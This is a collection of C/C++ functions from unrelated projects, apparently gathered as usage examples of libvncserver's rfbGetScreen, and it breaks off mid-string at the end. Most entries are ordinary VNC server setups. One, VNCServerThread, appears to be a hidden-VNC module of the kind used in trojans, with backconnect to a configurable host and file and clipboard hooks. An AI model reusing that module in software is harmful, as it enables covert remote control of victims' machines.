int main(int argc,char** argv) { rfbScreenInfoPtr s=rfbGetScreen(&argc,argv,width,height,8,1,1); s->colourMap.is16=FALSE; s->colourMap.count=2; s->colourMap.data.bytes=(unsigned char*)"\xd0\xd0\xd0\x30\x01\xe0"; s->serverFormat.trueColour=FALSE; s->frameBuffer=f; s->kbdAddEvent=dokey; s->ptrAddEvent=doptr; s->newClientHook=newclient; memset(f,0,width*height); read_keys(); rfbInitServer(s); while(1) { rfbProcessEvents(s,999999); } }
int main(int argc,char** argv) { int i,j; uint16_t* f; rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,5,3,2); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*2); f=(uint16_t*)server->frameBuffer; for(j=0;j<300;j++) for(i=0;i<400;i++) f[j*400+i]=/* red */ ((j*32/300) << 10) | /* green */ (((j+400-i)*32/700) << 5) | /* blue */ ((i*32/400)); rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return(0); }
void PresentationServer::_initRfbServer(int screenWidth, int screenHeight, const std::string & serverPassword, const std::string & peerHostName /*< für Zertifikatsprüfung */, const std::string & caCertificate, const std::string & host, unsigned short port) { _serverPassword = serverPassword; //Wenn die erfolgreich war dann den Server erstellen, Gr��e = Desktopgr��e _server = rfbGetScreen(0, 0, screenWidth, screenHeight, 8, 3, 4); int buffersize = _server->width * _server->height * (_server->bitsPerPixel / 8); _server->frameBuffer = new char[buffersize]; _server->alwaysShared = false; _server->neverShared = true; //Kein horchen auf neue Verbindungen _server->autoPort = false; _server->port = -1; _server->ipv6port = -1; _server->httpPort = -1; _server->http6Port = -1; //Die globalen Variablen werden zum Weiterreichen des Zustands an upgradeNewClientToTls verwendet. //dieses konstrukt funktioniert natürlich nur wenn es nur eine Instanz dieser Klasse hier gibt... vlt sollte ich die wirklich zu nem Singleton machen oder //natürlich besser das hier anständig implementieren. //... man kriegt echt das Würgen wenn man sich den Code ansieht, den man hier verbrochen hat... g_serverPassword = _serverPassword; g_peerHostName = peerHostName; g_caCertificate = caCertificate; _server->newClientCreationHook = upgradeNewClientToTls; /* Initialize the server */ rfbInitServer(_server); if (!rfbReverseConnection(_server, const_cast<char*> (host.c_str()), port)) { std::cerr << "Failed to connect to " << host << ":" << port << std::endl; throw std::runtime_error(STR_ERR_RFBHOST_UNREACHABLE); } //Starte Timer _tick = std::chrono::high_resolution_clock::now(); }
static void init_fb_server(int argc, char **argv) { printf("Initializing server...\n"); /* Allocate the VNC server buffer to be managed (not manipulated) by * libvncserver. */ vncbuf = calloc(scrinfo.xres * scrinfo.yres, scrinfo.bits_per_pixel / 2); assert(vncbuf != NULL); /* Allocate the comparison buffer for detecting drawing updates from frame * to frame. */ fbbuf = calloc(scrinfo.xres * scrinfo.yres, scrinfo.bits_per_pixel / 2); assert(fbbuf != NULL); /* TODO: This assumes scrinfo.bits_per_pixel is 16. */ vncscr = rfbGetScreen(&argc, argv, scrinfo.xres, scrinfo.yres, 5, 2, 2); assert(vncscr != NULL); vncscr->desktopName = "Android"; vncscr->frameBuffer = (char *)vncbuf; vncscr->alwaysShared = TRUE; vncscr->httpDir = NULL; vncscr->port = VNC_PORT; vncscr->kbdAddEvent = keyevent; vncscr->ptrAddEvent = ptrevent; vncscr->setXCutText = textevent; rfbInitServer(vncscr); /* Mark as dirty since we haven't sent any updates at all yet. */ rfbMarkRectAsModified(vncscr, 0, 0, scrinfo.xres, scrinfo.yres); /* No idea. */ varblock.r_offset = scrinfo.red.offset + scrinfo.red.length - 5; varblock.g_offset = scrinfo.green.offset + scrinfo.green.length - 5; varblock.b_offset = scrinfo.blue.offset + scrinfo.blue.length - 5; varblock.rfb_xres = scrinfo.yres; varblock.rfb_maxy = scrinfo.xres - 1; }
int main(int argc,char** argv) { char *repeaterHost; int repeaterPort, sock; char id[250]; int idlen; rfbClientPtr cl; int i,j; uint16_t* f; /* Parse command-line arguments */ if (argc < 3) { fprintf(stderr, "Usage: %s <id> <repeater-host> [<repeater-port>]\n", argv[0]); exit(1); } idlen = snprintf(id, sizeof(id) - 1, "ID:%s", argv[1]); if(idlen < 0 || idlen >= (int)sizeof(id)) { fprintf(stderr, "Error, given ID is probably too long.\n"); return 1; } repeaterHost = argv[2]; repeaterPort = argc < 4 ? 5500 : atoi(argv[3]); /* The initialization is identical to simple15.c */ rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,400,300,5,3,2); if(!server) return 0; server->frameBuffer=(char*)malloc(400*300*2); f=(uint16_t*)server->frameBuffer; for(j=0;j<300;j++) for(i=0;i<400;i++) f[j*400+i]=/* red */ ((j*32/300) << 10) | /* green */ (((j+400-i)*32/700) << 5) | /* blue */ ((i*32/400)); /* Now for the repeater-specific part: */ server->port = -1; /* do not listen on any port */ server->ipv6port = -1; /* do not listen on any port */ sock = rfbConnectToTcpAddr(repeaterHost, repeaterPort); if (sock < 0) { perror("connect to repeater"); return 1; } if (write(sock, id, idlen+1) != idlen+1) { perror("writing id"); return 1; } cl = rfbNewClient(server, sock); if (!cl) { perror("new client"); return 1; } cl->reverseConnection = 0; cl->clientGoneHook = clientGone; /* Run the server */ rfbInitServer(server); rfbRunEventLoop(server,-1,FALSE); return 0; }
int main() { int rfbargc = 0; char **rfbargv = 0; int bpp = 4; rfbScreenInfoPtr server = rfbGetScreen(&rfbargc, rfbargv, FRAMEBUFFER_WIDTH, FRAMEBUFFER_HEIGHT, 8, 3, bpp); fb = new unsigned char[FRAMEBUFFER_WIDTH * FRAMEBUFFER_HEIGHT * bpp]; server->frameBuffer = (char *)fb; server->kbdAddEvent = handleKey; server->ptrAddEvent = handlePointer; rfbInitServer(server); int file; file = open(devname, O_RDWR); if (file < 0) { perror("open"); exit(EXIT_FAILURE); } int addr = ADXL345_ADDRESS; /* The I2C address */ if (ioctl(file, I2C_SLAVE, addr) < 0) { perror("ioctl"); exit(EXIT_FAILURE); } uint16_t id = read_u16(file, 0x00); printf("id is 0x%04X\n", id); ADXL345_init(file); int tilt_was_valid = false; while(1) { int16_t xdata = read_u16_le(file, ADXL345_DATAX0); int16_t ydata = read_u16_le(file, ADXL345_DATAY0); int16_t zdata = read_u16_le(file, ADXL345_DATAZ0); float xg = xdata / 256.0; float yg = ydata / 256.0; float zg = zdata / 256.0; float theta_y = -atan2(yg, zg); float theta_x = atan2(xg, zg); float y_angle_center = 40.0 / 180.0 * M_PI; float y_angle_range = 25.0 / 180.0 * M_PI; float x_angle_center = 0.0 / 180.0 * M_PI; float x_angle_range = 25.0 / 180.0 * M_PI; int tilt_is_valid = (theta_y > y_angle_center - y_angle_range) && (theta_y < y_angle_center + y_angle_range) && (theta_x > x_angle_center - x_angle_range) && (theta_x < x_angle_center + x_angle_range); if(tilt_is_valid != tilt_was_valid) { if(tilt_is_valid) printf("TILT_VALID\n"); else printf("TILT_INVALID\n"); tilt_was_valid = tilt_is_valid; } if(tilt_is_valid) { float tilt_x_valuator = (theta_x - x_angle_center) / x_angle_range; float tilt_y_valuator = (theta_y - y_angle_center) / y_angle_range; // printf(" %f, %f\n", tilt_x_valuator, tilt_y_valuator); draw_new_circle(server, (tilt_x_valuator + 1) * .5 * FRAMEBUFFER_WIDTH, (tilt_y_valuator + 1) * .5 * FRAMEBUFFER_HEIGHT, 1.0); } // usleep(100000); rfbProcessEvents(server, 10000); } }
//! called after plug-in is loaded and scenegraph is initialized bool VncServer::init(int w, int h, unsigned short port) { lightsUpdateCount = 0; m_appHandler = nullptr; m_tileWidth = 256; m_tileHeight = 256; m_numTimesteps = 0; m_numClients = 0; m_numRhrClients = 0; m_boundCenter = vistle::Vector3(0., 0., 0.); m_boundRadius = 1.; rfbRegisterProtocolExtension(&matricesExt); rfbRegisterProtocolExtension(&lightsExt); rfbRegisterProtocolExtension(&boundsExt); rfbRegisterProtocolExtension(&tileExt); rfbRegisterProtocolExtension(&applicationExt); m_delay = 0; std::string config("COVER.Plugin.VncServer"); m_benchmark = false; m_errormetric = false; m_compressionrate = false; m_imageParam.depthPrecision = 32; m_imageParam.depthQuant = true; m_imageParam.depthSnappy = true; m_imageParam.rgbaSnappy = true; m_imageParam.depthFloat = true; m_resizeBlocked = false; m_resizeDeferred = false; m_queuedTiles = 0; m_firstTile = false; int argc = 1; char *argv[] = { (char *)"DisCOVERay", NULL }; m_screen = rfbGetScreen(&argc, argv, 0, 0, 8, 3, 4); m_screen->desktopName = "DisCOVERay"; m_screen->autoPort = FALSE; m_screen->port = port; m_screen->ipv6port = port; m_screen->kbdAddEvent = &keyEvent; m_screen->ptrAddEvent = &pointerEvent; m_screen->newClientHook = &newClientHook; m_screen->deferUpdateTime = 0; m_screen->maxRectsPerUpdate = 10000000; rfbInitServer(m_screen); m_screen->deferUpdateTime = 0; m_screen->maxRectsPerUpdate = 10000000; m_screen->handleEventsEagerly = 1; m_screen->cursor = NULL; // don't show a cursor resize(0, w, h); return true; }
int main(int argc,char** argv) { if (argc>1) openSerialPort(argv[1]); bzero(last_raster_crc,sizeof(unsigned int)*1200); rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); if(!rfbScreen) return 0; rfbScreen->desktopName = "C65GS Remote Display"; rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = dokey; rfbScreen->newClientHook = newclient; rfbScreen->httpDir = "../webclients"; rfbScreen->httpEnableProxyConnect = TRUE; initBuffer((unsigned char*)rfbScreen->frameBuffer); /* initialize the server */ rfbInitServer(rfbScreen); /* this is the non-blocking event loop; a background thread is started */ rfbRunEventLoop(rfbScreen,-1,TRUE); fprintf(stderr, "Running background loop...\n"); int sock = connect_to_port(6565); if (sock==-1) { fprintf(stderr,"Could not connect to video proxy on port 6565.\n"); exit(-1); } raster_cache=calloc(sizeof(struct raster_cache),65536); { int j; for(j=0;j<1200;j++) raster_crc[j]=0; } printf("Allocated raster cache.\n"); printf("Started.\n"); fflush(stdout); int last_colour=0x00; int in_vblank=0; int firstraster=1; int bytes=0; int rasternumber; int last_raster=0; int next_rasternumber=0; int raster_low=0; int raster_high=1200; while(1) { int i; unsigned char packet[8192]; int len=read(sock,packet,2132); if (len<1) usleep(10000); if (1) { if (len > 2100) { // probably a C65GS compressed video frame. // printf("."); fflush(stdout); unsigned char *raster_data=NULL; // Each should consist of 13 blocks of // raster_number (16 bits) // audio left (8 bits) // audio right (8 bits) // CRC32 of raster (32 bits) // dummy byte (8 bits) // One of these should have the MSB set in the raster number // to indicate that a raw raster follows. unsigned int crc; int offset=0x56; for(i=0;i<13;i++) { rasternumber = packet[offset+0]<<8; rasternumber |= packet[offset+1]; rasternumber &= 0xfff; next_rasternumber = packet[offset+9+0]<<8; next_rasternumber |= packet[offset+9+1]; next_rasternumber &= 0xfff; if (rasternumber==1199) { updateFrameBuffer(rfbScreen); } crc=packet[offset+4]<<0; crc|=packet[offset+5]<<8; crc|=packet[offset+6]<<16; crc|=packet[offset+7]<<24; // printf("i=% 2d@$%03x: Saw raster $%04x, crc=$%08x\n",i,offset,rasternumber,crc); // check validity of raster number if (rasternumber>=0&&rasternumber<1200) { if (((!i)&&next_rasternumber-1==rasternumber)||(last_raster+1==rasternumber)) { // rasternumber>=raster_low&&rasternumber<=raster_high) { // remember CRC for this raster raster_crc[rasternumber]=crc; if (raster_data) { // we have raster data, so update the cache bcopy(raster_data,raster_cache[crc&0xffff].data,1920); raster_cache[crc&0xffff].crc=crc; } // describe acceptable raster range for next for supressing glitches raster_low=rasternumber+1; if (raster_low>=1200) raster_low=0; raster_high=rasternumber+50; if (raster_high>=1200) raster_high=1200; } else { // printf(" rejected (acceptable range is %d -- %d)\n",raster_low,raster_high); break; } } last_raster=rasternumber; // keep pointer to and skip raster data if it follows this line if (packet[offset+0]&0x80) { raster_data=&packet[offset+9]; offset+=1920+9; } else { offset+=9; raster_data=NULL; } } } } } free(rfbScreen->frameBuffer); rfbScreenCleanup(rfbScreen); return(0); }
int main(int argc,char** argv) { FILE* in=stdin; int i,j,k,l,width,height,paddedWidth; char buffer[1024]; rfbScreenInfoPtr rfbScreen; enum { BW, GRAY, TRUECOLOUR } picType=TRUECOLOUR; int bytesPerPixel,bitsPerPixelInFile; if(argc>1) { in=fopen(argv[1],"rb"); if(!in) { printf("Couldn't find file %s.\n",argv[1]); exit(1); } } fgets(buffer,1024,in); if(!strncmp(buffer,"P6",2)) { picType=TRUECOLOUR; bytesPerPixel=4; bitsPerPixelInFile=3*8; } else if(!strncmp(buffer,"P5",2)) { picType=GRAY; bytesPerPixel=1; bitsPerPixelInFile=1*8; } else if(!strncmp(buffer,"P4",2)) { picType=BW; bytesPerPixel=1; bitsPerPixelInFile=1; } else { printf("Not a ppm.\n"); exit(2); } /* skip comments */ do { fgets(buffer,1024,in); } while(buffer[0]=='#'); /* get width & height */ sscanf(buffer,"%d %d",&width,&height); rfbLog("Got width %d and height %d.\n",width,height); if(picType!=BW) fgets(buffer,1024,in); else width=1+((width-1)|7); /* vncviewers have problems with widths which are no multiple of 4. */ paddedWidth = width; if(width&3) paddedWidth+=4-(width&3); /* initialize data for vnc server */ rfbScreen = rfbGetScreen(&argc,argv,paddedWidth,height,8,(bitsPerPixelInFile+7)/8,bytesPerPixel); if(argc>1) rfbScreen->desktopName = argv[1]; else rfbScreen->desktopName = "Picture"; rfbScreen->alwaysShared = TRUE; rfbScreen->kbdAddEvent = HandleKey; /* enable http */ rfbScreen->httpDir = "../classes"; /* allocate picture and read it */ rfbScreen->frameBuffer = (char*)malloc(paddedWidth*bytesPerPixel*height); fread(rfbScreen->frameBuffer,width*bitsPerPixelInFile/8,height,in); fclose(in); if(picType!=TRUECOLOUR) { rfbScreen->serverFormat.trueColour=FALSE; rfbScreen->colourMap.count=256; rfbScreen->colourMap.is16=FALSE; rfbScreen->colourMap.data.bytes=malloc(256*3); for(i=0;i<256;i++) memset(rfbScreen->colourMap.data.bytes+3*i,i,3); } switch(picType) { case TRUECOLOUR: /* correct the format to 4 bytes instead of 3 (and pad to paddedWidth) */ for(j=height-1;j>=0;j--) { for(i=width-1;i>=0;i--) for(k=2;k>=0;k--) rfbScreen->frameBuffer[(j*paddedWidth+i)*4+k]= rfbScreen->frameBuffer[(j*width+i)*3+k]; for(i=width*4;i<paddedWidth*4;i++) rfbScreen->frameBuffer[j*paddedWidth*4+i]=0; } break; case GRAY: break; case BW: /* correct the format from 1 bit to 8 bits */ for(j=height-1;j>=0;j--) for(i=width-1;i>=0;i-=8) { l=(unsigned char)rfbScreen->frameBuffer[(j*width+i)/8]; for(k=7;k>=0;k--) rfbScreen->frameBuffer[j*paddedWidth+i+7-k]=(l&(1<<k))?0:255; } break; } /* initialize server */ rfbInitServer(rfbScreen); /* run event loop */ rfbRunEventLoop(rfbScreen,40000,FALSE); return(0); }
void initVncServer(int argc, char **argv) { vncbuf = calloc(screenformat.width * screenformat.height, screenformat.bitsPerPixel/CHAR_BIT); cmpbuf = calloc(screenformat.width * screenformat.height, screenformat.bitsPerPixel/CHAR_BIT); assert(vncbuf != NULL); assert(cmpbuf != NULL); if (rotation==0 || rotation==180) vncscr = rfbGetScreen(&argc, argv, screenformat.width , screenformat.height, 0 /* not used */ , 3, screenformat.bitsPerPixel/CHAR_BIT); else vncscr = rfbGetScreen(&argc, argv, screenformat.height, screenformat.width, 0 /* not used */ , 3, screenformat.bitsPerPixel/CHAR_BIT); assert(vncscr != NULL); vncscr->desktopName = "Android"; vncscr->frameBuffer =(char *)vncbuf; vncscr->port = VNC_PORT; vncscr->kbdAddEvent = keyEvent; vncscr->ptrAddEvent = ptrEvent; vncscr->newClientHook = (rfbNewClientHookPtr)clientHook; vncscr->setXCutText = CutText; if (strcmp(VNC_PASSWORD,"")!=0) { char **passwords = (char **)malloc(2 * sizeof(char **)); passwords[0] = VNC_PASSWORD; passwords[1] = NULL; vncscr->authPasswdData = passwords; vncscr->passwordCheck = rfbCheckPasswordByList; } vncscr->httpDir = "webclients/"; // vncscr->httpEnableProxyConnect = TRUE; vncscr->sslcertfile = "self.pem"; vncscr->serverFormat.redShift = screenformat.redShift; vncscr->serverFormat.greenShift = screenformat.greenShift; vncscr->serverFormat.blueShift = screenformat.blueShift; vncscr->serverFormat.redMax = (( 1 << screenformat.redMax) -1); vncscr->serverFormat.greenMax = (( 1 << screenformat.greenMax) -1); vncscr->serverFormat.blueMax = (( 1 << screenformat.blueMax) -1); vncscr->serverFormat.trueColour = TRUE; vncscr->serverFormat.bitsPerPixel = screenformat.bitsPerPixel; vncscr->alwaysShared = TRUE; vncscr->handleEventsEagerly = TRUE; vncscr->deferUpdateTime = 5; rfbInitServer(vncscr); //assign update_screen depending on bpp if (vncscr->serverFormat.bitsPerPixel == 32) update_screen=&CONCAT2E(update_screen_,32); else if (vncscr->serverFormat.bitsPerPixel == 16) update_screen=&CONCAT2E(update_screen_,16); else if (vncscr->serverFormat.bitsPerPixel == 8) update_screen=&CONCAT2E(update_screen_,8); else { L("Unsupported pixel depth: %d\n", vncscr->serverFormat.bitsPerPixel); sendMsgToGui("~SHOW|Unsupported pixel depth, please send bug report.\n"); close_app(); exit(-1); } /* Mark as dirty since we haven't sent any updates at all yet. */ rfbMarkRectAsModified(vncscr, 0, 0, vncscr->width, vncscr->height); }
vncConsolePtr vcGetConsole(int *argc,char **argv, int width,int height,rfbFontDataPtr font #ifdef USE_ATTRIBUTE_BUFFER ,rfbBool withAttributes #endif ) { vncConsolePtr c=(vncConsolePtr)malloc(sizeof(vncConsole)); c->font=font; c->width=width; c->height=height; c->screenBuffer=(char*)malloc(width*height); memset(c->screenBuffer,' ',width*height); #ifdef USE_ATTRIBUTE_BUFFER if(withAttributes) { c->attributeBuffer=(char*)malloc(width*height); memset(c->attributeBuffer,0x07,width*height); } else c->attributeBuffer=NULL; #endif c->x=0; c->y=0; c->sstart = 0; c->sheight = c->height; c->wrapBottomToTop=FALSE; c->cursorActive=TRUE; c->cursorIsDrawn=FALSE; c->dontDrawCursor=FALSE; c->inputBuffer=(char*)malloc(1024); c->inputSize=1024; c->inputCount=0; c->selection=0; c->selectTimeOut=40000; /* 40 ms */ c->doEcho=TRUE; c->wasRightButtonDown=FALSE; c->currentlyMarking=FALSE; rfbWholeFontBBox(font,&c->xhot,&c->cHeight,&c->cWidth,&c->yhot); c->cWidth-=c->xhot; c->cHeight=-c->cHeight-c->yhot; /* text cursor */ c->cx1=c->cWidth/8; c->cx2=c->cWidth*7/8; c->cy2=c->cHeight-1-c->yhot+c->cHeight/16; if(c->cy2>=c->cHeight) c->cy2=c->cHeight-1; c->cy1=c->cy2-c->cHeight/8; if(c->cy1<0) c->cy2=0; if(!(c->screen = rfbGetScreen(argc,argv,c->cWidth*c->width,c->cHeight*c->height,8,1,1))) return NULL; c->screen->screenData=(void*)c; c->screen->displayHook=vcMakeSureCursorIsDrawn; c->screen->frameBuffer= (char*)malloc(c->screen->width*c->screen->height); memset(c->screen->frameBuffer,c->backColour, c->screen->width*c->screen->height); c->screen->kbdAddEvent=vcKbdAddEventProc; c->screen->ptrAddEvent=vcPtrAddEventProc; c->screen->setXCutText=vcSetXCutTextProc; MakeColourMap16(c); c->foreColour=0x7; c->backColour=0; return(c); }
void WINAPI VNCServerThread(HVNC hVNC) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED)) SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED); SetThreadDesktopEx(hDefaultDesktop); PHVNC lpServer=lpHandle->lpServer; rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel); if (!rfbScreen) { lpServer->bActive=false; SetEvent(lpHandle->hEvent); return; } rfbScreen->screenData=lpServer; rfbScreen->desktopName=lpServer->DeskInfo.szDeskName; rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits; rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared; rfbScreen->ptrAddEvent=OnPointerEvent; rfbScreen->kbdAddEvent=OnKeyboardEvent; rfbScreen->setXCutText=OnReceiveClipboard; rfbScreen->getFileTransferPermission=OnFileTransfer; rfbScreen->port=lpHandle->ConnInfo.wVNCPort; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR)) SetXCursor(rfbScreen,&cur_arrow); else rfbScreen->cursor=NULL; if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort)) { rfbScreen->backconnect=TRUE; lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost); rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort; } if (lpHandle->ConnInfo.Passwords.dwPasswordsCount) { DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *)); for (DWORD i=0; i < dwPasswordsCount; i++) { lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM)); lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags; lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword); } rfbScreen->authPasswdData=lppPasswords; rfbScreen->passwordCheck=OnNewClientAuth; } else rfbScreen->newClientHook=OnNewClient; while (lpServer->bActive) { rfbInitServer(rfbScreen); if (rfbScreen->backconnect) { if (rfbScreen->connectSock < 0) lpServer->bActive=false; } else if (rfbScreen->listenSock < 0) lpServer->bActive=false; if (lpHandle->hEvent) SetEvent(lpHandle->hEvent); while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer))) { if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) { if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0) SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel); } if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0) SendClipboard(lpServer); if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients)) { GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor); rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen); rfbClientPtr cl=rfbClientIteratorHead(i); if (cl) rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl); rfbReleaseClientIterator(i); } rfbProcessEvents(rfbScreen,1000); } if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; VNCDisconnectAllUsers(hVNC); rfbShutdownServer(rfbScreen,TRUE); if (lpServer->rfbScreen->backconnect) { DWORD dwTickCount=GetTickCount(); if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000) { if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND) { lpServer->bActive=false; break; } } else lpServer->dwReconnectionsCount=0; lpServer->dwLastReconnectionTime=dwTickCount; } rfbScreen->socketState=RFB_SOCKET_INIT; Sleep(1); } return; }
int main(int argc,char** argv) { long usec; int port = -1; rfbScreenInfoPtr server = NULL; char* authData[2] = { NULL, NULL}; int width = -1; int height = -1; int left = -1; int top = -1; BOOL ro = TRUE; if((argc != 7) && (argc != 8)) { printf("Usage: WinLibVNCServer <left> <top> <width> <height> <port> <password> [/manage]"); return -1; } left = atoi(argv[1]); if(!left && strcmp(argv[1], "0")) left = -1; top = atoi(argv[2]); if(!top && strcmp(argv[2], "0")) top = -1; width = (atoi(argv[3]) / 4)*4; height = atoi(argv[4]); port = atoi(argv[5]); authData[0] = argv[6]; if((left < 0) || (top < 0) || (width <= 0) || (height <= 0) || (port <=0)) { printf("Invalid command line parameter(s)"); return -1; } if(8 == argc) { if(stricmp(argv[7], "/manage")) { printf("Invalid command line parameter(s)"); return -1; } else { ro = FALSE; } } if(!winInitScreenCapture(left, top, width, height)) return 0; server = rfbGetScreen(&argc, argv, width, height, 8, 3, BPP); if(!server) return 0; server->port = port; server->passwordCheck = rfbCheckPasswordByList; server->authPasswdData = authData; server->desktopName = "WinLibVNCServer"; server->frameBuffer = (char*)malloc(width*height*BPP); server->alwaysShared = (1==1); if(!ro) { winInitPointerHandler(rfbDefaultPtrAddEvent, left, top); server->ptrAddEvent = winPtrAddEvent; } /* Initialize the server */ rfbInitServer(server); StartCounter(); /* Loop, processing clients and taking pictures */ while (rfbIsActive(server)) { int picturetaken = 0; if (picturetaken = TimeToTakePicture()) { prevTimeSShot = GetCounter(); if (winTakePicture32((unsigned char *)server->frameBuffer)) rfbMarkRectAsModified(server, 0, 0, width, height); prevTimeStats = currTimeSShot = GetCounter(); fprintf(stderr,"Screen capture: %5.2f ms," " events: %5.2f ms," " printf(): %5.2f ms\r", currTimeSShot - prevTimeSShot, timeEvents, timeStats); timeStats = GetCounter() - prevTimeStats; } if(picturetaken) timeEvents = GetCounter(); usec = server->deferUpdateTime*1000; rfbProcessEvents(server,usec); if(picturetaken) timeEvents = GetCounter() - timeEvents; } winShutdownScreenCapture(); return(0); }
ScreenToVnc::ScreenToVnc(QObject *parent) : QObject(parent) { IN; // TODO: make that configurable? exitWhenLastClientGone = false; isEmptyMouse = false; m_fbfd = -1; lastPointerEvent = QDateTime::currentMSecsSinceEpoch(); lastPointerMove = lastPointerEvent; // Unix Signal Handling set up if (::socketpair(AF_UNIX, SOCK_STREAM, 0, unixHupSignalFd)) qFatal("Couldn't create HUP socketpair"); if (::socketpair(AF_UNIX, SOCK_STREAM, 0, unixTermSignalFd)) qFatal("Couldn't create TERM socketpair"); hupSignalNotifier = new QSocketNotifier(unixHupSignalFd[1], QSocketNotifier::Read, this); connect(hupSignalNotifier, SIGNAL(activated(int)), this, SLOT(qtHubSignalHandler())); termSignalNotifier = new QSocketNotifier(unixTermSignalFd[1], QSocketNotifier::Read, this); connect(termSignalNotifier, SIGNAL(activated(int)), this, SLOT(qtTermSignalHandler())); // init the Framebuffer init_fb(); // setup vnc server // must run after init_rb, so m_scrinfo and m_xPadding is set! char *argv[0]; m_server = rfbGetScreen(0,argv,(m_scrinfo.xres + m_xPadding), m_scrinfo.yres, 8, 3, m_scrinfo.bits_per_pixel / 8); if(!m_server){ LOG() << "failed to create VNC server"; } m_server->desktopName = "Mer VNC"; m_server->frameBuffer=(char*)malloc((m_scrinfo.xres + m_xPadding)*m_scrinfo.yres*(m_scrinfo.bits_per_pixel / 8)); m_server->alwaysShared=(1==1); m_server->newClientHook = newclient; m_server->ptrAddEvent = mouseHandler; // check if launched by systemd with a ready socket (LISTEN_FDS env var) int sd_fds = sd_listen_fds(1); if (sd_fds){ for (int i = SD_LISTEN_FDS_START; i <= (SD_LISTEN_FDS_START + sd_fds - 1); i++){ if (sd_is_socket(i, AF_INET6, SOCK_STREAM, 1) || sd_is_socket(i, AF_INET, SOCK_STREAM, 1)){ LOG() << "using given socket at FD:" << i; m_server->autoPort = false; m_server->port = 0; m_server->ipv6port = 0; m_server->udpPort = 0; m_server->listenSock = i; FD_SET(m_server->listenSock, &(m_server->allFds)); m_server->maxFd = m_server->listenSock; exitWhenLastClientGone = true; } } } // init the cursors init_fingerPointers(); makeRichCursor(m_server); // Initialize the VNC server rfbInitServer(m_server); // init compare frame buffer m_compareFrameBuffer = (unsigned short int *)calloc((m_scrinfo.xres + m_xPadding) * m_scrinfo.yres, (m_scrinfo.bits_per_pixel / 8)); m_screenshotTimer = new QTimer(this); connect(m_screenshotTimer, SIGNAL(timeout()), this, SLOT(grapFrame())); m_processTimer = new QTimer(this); connect(m_processTimer, SIGNAL(timeout()), this, SLOT(rfbProcessTrigger())); // open the event device // TODO: not Hardcode? eventDev = open("/dev/input/event0", O_RDWR); if(eventDev < 0) { LOG() << "can't open /dev/input/event0"; return; } // start the process trigger timers m_processTimer->start(); m_screenshotTimer->start(300); // inform systemd that we started up sd_notifyf(0, "READY=1\n" "STATUS=Processing requests...\n" "MAINPID=%lu", (unsigned long) getpid()); OUT; }
int main(int argc,char** argv) { int i,j; time_t t; rfbScreenInfoPtr server; rfbClientLog=rfbTestLog; rfbClientErr=rfbTestLog; /* Initialize server */ server=rfbGetScreen(&argc,argv,width,height,8,3,4); server->frameBuffer=malloc(400*300*4); server->cursor=NULL; for(j=0;j<400*300*4;j++) server->frameBuffer[j]=j; rfbInitServer(server); rfbProcessEvents(server,0); initStatistics(); #ifndef ALL_AT_ONCE for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) { #else /* Initialize clients */ for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) #endif startClient(i,server); t=time(NULL); /* test 20 seconds */ while(time(NULL)-t<20) { idle(server); rfbProcessEvents(server,1); } rfbLog("%d failed, %d received\n",totalFailed,totalCount); #ifndef ALL_AT_ONCE { rfbClientPtr cl; rfbClientIteratorPtr iter=rfbGetClientIterator(server); while((cl=rfbClientIteratorNext(iter))) rfbCloseClient(cl); rfbReleaseClientIterator(iter); } } #endif rfbScreenCleanup(server); for(i=0;i<thread_counter;i++) pthread_join(all_threads[i], NULL); free(server->frameBuffer); rfbLog("Statistics:\n"); for(i=0;i<NUMBER_OF_ENCODINGS_TO_TEST;i++) rfbLog("%s encoding: 